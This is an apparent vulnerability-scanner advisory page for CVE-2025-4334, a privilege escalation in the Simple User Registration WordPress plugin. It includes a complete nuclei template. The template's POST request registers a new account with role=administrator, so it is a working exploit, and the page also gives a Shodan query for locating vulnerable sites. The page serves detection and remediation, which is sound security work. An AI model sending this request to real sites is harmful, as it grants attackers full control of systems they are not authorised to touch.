CVE-2025-4334· lifeisincredible / simple-user-registration· CWE-269
Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation
criticalseverity
9.8CVSS score
2.6%likelihood of exploitation, next 30 days
85%of all CVEs are less likely
Readycheck to confirm it
The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.
Impact
An attacker can exploit this vulnerability to register with administrator privileges, gaining full control over the WordPress site.
Fix
Update the Simple User Registration plugin to a version newer than 6.3 when available, or remove the plugin if not essential.
How to confirm it
Send: GET /register/ ; POST /wp-admin/admin-ajax.php
Positive when: contains(body_1, "WPR Register") and contains(body_2, "user_id") and contains(body_2, "Registration Done")Run it with nuclei: nuclei -id CVE-2025-4334 -u <target>
The full check
id: CVE-2025-4334
info:
name: Simple User Registration <= 6.3 - Unauthenticated Privilege Escalation
author: pussycat0x
severity: critical
description: |
The Simple User Registration plugin ≤ 6.3 is vulnerable to privilege escalation. It lacks proper restrictions on user meta values during registration. Unauthenticated attackers can exploit this to register as administrators.
reference:
- https://github.com/Nxploited/CVE-2025-4334
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-4334
epss-score: 0.02588
epss-percentile: 0.854
cwe-id: CWE-269
impact: |
An attacker can exploit this vulnerability to register with administrator privileges, gaining full control over the WordPress site.
remediation: |
Update the Simple User Registration plugin to a version newer than 6.3 when available, or remove the plugin if not essential.
metadata:
verified: true
max-request: 2
vendor: lifeisincredible
product: simple-user-registration
shodan-query: http.component:"wordpress" && http.html:"/wp-content/plugins/simple-user-registration/"
tags: cve,cve2025,wordpress,wp-plugin,wp,intrusive,plugin,simple-user-registration,vuln
variables:
username: "{{randstr}}"
email: "{{randstr}}@{{rand_base(5)}}.com"
password: "{{to_lower(rand_text_alpha(8))}}"
http:
- raw:
- |
GET /register/ HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 417
action=wpr_submit_form&wpr_form_id={{wpr_form_id}}&wpr_nonce={{wpr_nonce}}&_wp_http_referer=%2Fregister%2F&wpr%5Bwp_field%5D%5Buser_login%5D={{username}}&wpr%5Bwp_field%5D%5Bfirst_name%5D=first{{username}}&wpr%5Bwp_field%5D%5Blast_name%5D=last{{username}}&wpr%5Bwp_field%5D%5Buser_email%5D={{email}}&wpr%5Bwp_field%5D%5Bpassword%5D={{password}}&wpr%5Bwp_field%5D%5Bconfirm_password%5D={{password}}&wpr%5Bwp_field%5D%5Brole%5D=administrator
matchers:
- type: dsl
dsl:
- contains(body_1, "WPR Register")
- contains(body_2, "user_id")
- contains(body_2, "Registration Done")
condition: and
extractors:
- type: regex
internal: true
group: 1
name: wpr_nonce
part: body
regex:
- 'name="wpr_nonce" value="([a-f0-9]+)"'
- type: regex
internal: true
group: 1
name: wpr_form_id
part: body
regex:
- 'name="wpr_form_id" value="([0-9]+)"'References
Use this check only on systems you are authorised to test. Where the data comes from